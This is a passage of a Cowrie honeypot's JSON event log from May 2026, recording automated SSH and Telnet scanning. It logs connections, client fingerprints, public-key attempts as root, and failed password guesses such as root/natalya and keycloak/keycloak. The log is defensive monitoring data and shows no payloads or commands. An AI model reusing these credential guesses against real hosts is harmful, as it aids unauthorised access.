AAAAB3NzaC1yc2EAAAADAQABAAACAQCBb0K7W2Q+ycIh3/S+pHeGb5BKeMA1UmvOgdcju9WhfLbsjP6UUSoL433xr8V647yMLDeyAx46BZkn8ZmwnINOLDK/gF+G1+Vpn17YI0IiZRy4nVjKYzYGPQFRhR8xQ8AOC9Zk4tPqeE1/Og/dGJvk+GTx3iUYNogBf6JTLZ8PPRygHQ20L7b5wwirHvWdhWMa4JIEw5cJSf0enRlgRfw8aP8mqEJpx603wbfDgFTYHV1r4HvFBG1dstFulDYB//lbzbis0PIgHJ792dG7WJfQJTHHyaW6wNEzuYuKO+NyQj4evtR5FuiZ3GEj0p2q4mPzzzRz1xn/TVPdIy9ul9G6kb1DIwVAPuFdpQc9xUsIuAb8Buwk7DMZumKr4rXRS2zB5zl20OX0KnoRROtCWbbq6Y1MZrFNPvd5tngy17mpRUNQZGw45ZT9+/ARH6wXm6byiGjZdy1n+rZ9zgPE1jDhb0BVZ6pal2AFSNJ8HXYBTtvfM02LSDdCrHUnqvd9IqEzanGgon0kYIF9PImE1MMWEwdy3JzHDpUg/lHfbWAxU3FmMrS7vjb6xRrMpGRdI5X+7Elg2NogcJQ31Xt3Hn5o4iG6SGxb+IKmg+KhRgnj6InDOz6gmVc2OfRNDWrBY9Vmrez8dCGzZ3q8nm+a3SfTsD1zGZ9Fj8jVhX+eyXJ9qw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:03.467655Z","src_ip":"62.210.199.83","session":"064f42197ee8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d8:46:32:da:18:88:a7:01:d1:68:41:e3:4c:09:0b:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYyeUMh9kDrKPLDlxpjPdpEWK3aRmR/PRnKWnqMFR7wHrYfVp/Kxy38oAPs14HVGtCx4g9Ue2JjgHnQUWxM+eR0XuiGhD2L3gy2tPl4OJuh53QKXFY1M2TzIBOigWPZT+RKPL0/0DF2wTWUOX4zgPqZjQnhkHY6UwEOTAkg4Nmm3S3XeihElxIwhXjUeIo9kDIGd0FaJ0YjJZpjD6jF/ysljraCj4x0nqcTfpn9dOZRX42GdkINywmfsWO6G3MNMDlvMEIEkhqboNQ/CaVK1PabWYO4MmWXY6+XfgVzGWArIFzmIFnUImZIoJlHTw7uvM2q5SCMNc/Zmy0fizBX4GT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d8:46:32:da:18:88:a7:01:d1:68:41:e3:4c:09:0b:9b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:03.558562Z","src_ip":"62.210.199.83","session":"064f42197ee8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d8:46:32:da:18:88:a7:01:d1:68:41:e3:4c:09:0b:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYyeUMh9kDrKPLDlxpjPdpEWK3aRmR/PRnKWnqMFR7wHrYfVp/Kxy38oAPs14HVGtCx4g9Ue2JjgHnQUWxM+eR0XuiGhD2L3gy2tPl4OJuh53QKXFY1M2TzIBOigWPZT+RKPL0/0DF2wTWUOX4zgPqZjQnhkHY6UwEOTAkg4Nmm3S3XeihElxIwhXjUeIo9kDIGd0FaJ0YjJZpjD6jF/ysljraCj4x0nqcTfpn9dOZRX42GdkINywmfsWO6G3MNMDlvMEIEkhqboNQ/CaVK1PabWYO4MmWXY6+XfgVzGWArIFzmIFnUImZIoJlHTw7uvM2q5SCMNc/Zmy0fizBX4GT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:03.570379Z","src_ip":"62.210.199.83","session":"064f42197ee8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"be:a7:13:25:04:14:87:73:a8:fc:55:ff:88:d7:d4:e7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC7z1fYShFzw/xi2TD4RDk806tMqAEEPskiKFUN6iTcoFHrmiXetFNOMDOtwlBQz++cbH0IcY27jlhl2j/O+7P2lWU807dS2A10XYr1RF9CcGf7o+649CbFl3wLL1JfLChoZ1CvXanUAGGKCTV9FuKhr10323Zk4wzo/s/SouDqqFeRK76oYzGrbqgLDeXivKS6XXOJ0VCPIO8/avmZGcabpvWD2VVT+6fkbAGGFq3mHe5jJxUdl1DIwJDrBoAfmFOMXXu3wCGjSx10q7rHUY3S10ALuUFthcsQc7laLss/opvBkuLuUpKiDp5sTx0rFXhiDJ6hPhakKOJYYTb4Aldnq1v9zfm7UsXxDOyva+fZLKSgjGv0jgd+50MS8h3sp3qD6vBVZI8zluI2WDHbnUdGQp6/sfntYPluFkaoDTinYHZzgTln6eMMBFzApmBNhOJMlPoeXXzUC1SL9Acd890IZz6Vgq1RsEIcFDTyXBdfnYXfP9IwNrU1agrblaoPGi9uHBW3B3qj7XP5Fxw2ROiPb+aaPmDdbsRMqnrjrj+SR6D/fDTk2S/lwjCI7cqFl8Aeuj/0oXDYiXpLblXYLriRbNaGjmFNPGXQG7gXvqCPDpVknPwV+qR0Tgp9ei8KpuMtHnhsKFT2xxrhd1djjMcJWmUkPLd4vjwKGil6GZMdDw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint be:a7:13:25:04:14:87:73:a8:fc:55:ff:88:d7:d4:e7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:03.658759Z","src_ip":"62.210.199.83","session":"064f42197ee8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"be:a7:13:25:04:14:87:73:a8:fc:55:ff:88:d7:d4:e7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC7z1fYShFzw/xi2TD4RDk806tMqAEEPskiKFUN6iTcoFHrmiXetFNOMDOtwlBQz++cbH0IcY27jlhl2j/O+7P2lWU807dS2A10XYr1RF9CcGf7o+649CbFl3wLL1JfLChoZ1CvXanUAGGKCTV9FuKhr10323Zk4wzo/s/SouDqqFeRK76oYzGrbqgLDeXivKS6XXOJ0VCPIO8/avmZGcabpvWD2VVT+6fkbAGGFq3mHe5jJxUdl1DIwJDrBoAfmFOMXXu3wCGjSx10q7rHUY3S10ALuUFthcsQc7laLss/opvBkuLuUpKiDp5sTx0rFXhiDJ6hPhakKOJYYTb4Aldnq1v9zfm7UsXxDOyva+fZLKSgjGv0jgd+50MS8h3sp3qD6vBVZI8zluI2WDHbnUdGQp6/sfntYPluFkaoDTinYHZzgTln6eMMBFzApmBNhOJMlPoeXXzUC1SL9Acd890IZz6Vgq1RsEIcFDTyXBdfnYXfP9IwNrU1agrblaoPGi9uHBW3B3qj7XP5Fxw2ROiPb+aaPmDdbsRMqnrjrj+SR6D/fDTk2S/lwjCI7cqFl8Aeuj/0oXDYiXpLblXYLriRbNaGjmFNPGXQG7gXvqCPDpVknPwV+qR0Tgp9ei8KpuMtHnhsKFT2xxrhd1djjMcJWmUkPLd4vjwKGil6GZMdDw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:03.663054Z","src_ip":"62.210.199.83","session":"064f42197ee8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:03.750053Z","src_ip":"62.210.199.83","session":"064f42197ee8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:03.897724Z","src_ip":"31.40.204.166","session":"d523a758abd8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":45668,"dst_ip":"159.203.135.109","dst_port":22,"session":"b08d2c481667","protocol":"ssh","message":"New connection: 80.66.85.226:45668 (159.203.135.109:22) [session: b08d2c481667]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:13.411529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:13.416371Z","src_ip":"80.66.85.226","session":"b08d2c481667","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:13.506699Z","src_ip":"80.66.85.226","session":"b08d2c481667","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"natalya","message":"login attempt [root/natalya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:13.774848Z","src_ip":"80.66.85.226","session":"b08d2c481667","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.90445065498352,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:14.736755Z","src_ip":"152.42.224.71","session":"308718ab6c2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":54944,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c38e302fb78","protocol":"ssh","message":"New connection: 31.40.204.166:54944 (159.203.135.109:22) [session: 0c38e302fb78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:14.782778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:14.800363Z","src_ip":"31.40.204.166","session":"0c38e302fb78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:14.869190Z","src_ip":"80.66.85.226","session":"b08d2c481667","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:14.917366Z","src_ip":"31.40.204.166","session":"0c38e302fb78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":114.30852341651917,"message":"Connection lost after 114 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:15.030366Z","src_ip":"152.42.224.71","session":"e780c1383cc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56266,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b11e906396c","protocol":"telnet","message":"New connection: 152.42.224.71:56266 (10.17.0.5:23) [session: 7b11e906396c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:15.139442Z"}
{"eventid":"cowrie.login.failed","username":"labuser","password":"labuser","message":"login attempt [labuser/labuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:15.729276Z","src_ip":"31.40.204.166","session":"0c38e302fb78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:16.908190Z","src_ip":"31.40.204.166","session":"0c38e302fb78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41254,"dst_ip":"10.17.0.5","dst_port":23,"session":"51b7dae0f2ce","protocol":"telnet","message":"New connection: 152.42.224.71:41254 (10.17.0.5:23) [session: 51b7dae0f2ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:17.562301Z"}
{"eventid":"cowrie.session.closed","duration":89.15221977233887,"message":"Connection lost after 89 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:20.341542Z","src_ip":"176.65.139.118","session":"caef0dbbf2bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41276,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa963016258a","protocol":"telnet","message":"New connection: 152.42.224.71:41276 (10.17.0.5:23) [session: fa963016258a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:20.655559Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41268,"dst_ip":"10.17.0.5","dst_port":23,"session":"80d0c7f3f086","protocol":"telnet","message":"New connection: 152.42.224.71:41268 (10.17.0.5:23) [session: 80d0c7f3f086]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:20.671502Z"}
{"eventid":"cowrie.session.closed","duration":43.409995794296265,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:25.306321Z","src_ip":"152.42.224.71","session":"0fae4778e839","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":50382,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ce2966aa7ea","protocol":"ssh","message":"New connection: 31.40.204.166:50382 (159.203.135.109:22) [session: 0ce2966aa7ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:26.784162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:26.788708Z","src_ip":"31.40.204.166","session":"0ce2966aa7ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:26.915479Z","src_ip":"31.40.204.166","session":"0ce2966aa7ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35408,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2f51550f2be","protocol":"telnet","message":"New connection: 152.42.224.71:35408 (10.17.0.5:23) [session: f2f51550f2be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:27.806550Z"}
{"eventid":"cowrie.session.closed","duration":35.82260704040527,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:28.448526Z","src_ip":"152.42.224.71","session":"1afa55b4010a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"keycloak","password":"keycloak","message":"login attempt [keycloak/keycloak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:28.511580Z","src_ip":"31.40.204.166","session":"0ce2966aa7ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:30.197170Z","src_ip":"31.40.204.166","session":"0ce2966aa7ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35416,"dst_ip":"10.17.0.5","dst_port":23,"session":"78df89dff103","protocol":"telnet","message":"New connection: 152.42.224.71:35416 (10.17.0.5:23) [session: 78df89dff103]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:30.546080Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35424,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e0bf583002f","protocol":"telnet","message":"New connection: 152.42.224.71:35424 (10.17.0.5:23) [session: 3e0bf583002f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:31.082347Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.156.108","src_port":47098,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a10398ffdfe","protocol":"ssh","message":"New connection: 64.62.156.108:47098 (10.17.0.5:22) [session: 8a10398ffdfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:36.665035Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:36.670080Z","src_ip":"64.62.156.108","session":"8a10398ffdfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:36.674878Z","src_ip":"64.62.156.108","session":"8a10398ffdfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43758,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d385879a84f","protocol":"telnet","message":"New connection: 152.42.224.71:43758 (10.17.0.5:23) [session: 7d385879a84f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:37.860729Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":41478,"dst_ip":"159.203.135.109","dst_port":22,"session":"498a667a8877","protocol":"ssh","message":"New connection: 31.40.204.166:41478 (159.203.135.109:22) [session: 498a667a8877]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:38.823502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:38.827915Z","src_ip":"31.40.204.166","session":"498a667a8877","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:38.991550Z","src_ip":"31.40.204.166","session":"498a667a8877","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zarghami","password":"123456","message":"login attempt [zarghami/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:39.491878Z","src_ip":"31.40.204.166","session":"498a667a8877","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:40.683148Z","src_ip":"31.40.204.166","session":"498a667a8877","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49558,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ac0b3457688","protocol":"telnet","message":"New connection: 152.42.224.71:49558 (10.17.0.5:23) [session: 9ac0b3457688]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:46.241306Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":35918,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0486de4403a","protocol":"ssh","message":"New connection: 176.32.39.21:35918 (159.203.135.109:22) [session: c0486de4403a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:47.493775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:47.498389Z","src_ip":"176.32.39.21","session":"c0486de4403a","protocol":"ssh"}
